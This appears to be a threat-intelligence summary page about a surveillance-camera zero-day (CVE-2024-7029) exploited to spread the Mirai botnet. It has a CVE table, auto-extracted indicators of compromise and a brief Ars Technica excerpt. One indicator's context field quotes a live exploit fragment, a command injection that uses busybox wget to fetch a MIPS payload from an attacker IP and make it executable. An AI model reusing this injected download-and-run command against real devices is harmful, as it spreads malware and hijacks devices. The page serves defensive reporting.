Unpatchable 0-day in surveillance cam is being exploited to install Mirai
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2014-8361 | Improper Input Validation in Realtek SDK miniigd SOAP Service Enables Remote RCE | — | 100% | KEV | — KEV |
| CVE-2017-17215 | Huawei HG532 with some customized versions has a remote code execution vulnerability | 8.8 | 78% | ||
| CVE-2024-7029 | Commands can be injected over the network and executed without authentication | 8.7 | 43% | PoC |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 45.14.244.89 | 0000001, cnonce=\"248d1a2560100669\" $(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips |
| md5 | 3612f843a42db38f48f59d2a3597e19c | 6e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"2 |
| md5 | 88645cefb1f9ede0e336e3569d75ee30 | rname=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db |
From the original article
2 min read at arstechnica.com
The technique, however, has allowed Akamai to capture the code used to compromise the devices. It targets a vulnerability that has been known since at least 2019 when exploit code became public. The zero-day resides in the “brightness argument in the ‘action=’ parameter” and allows for command injection, researchers wrote.
arstechnica.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.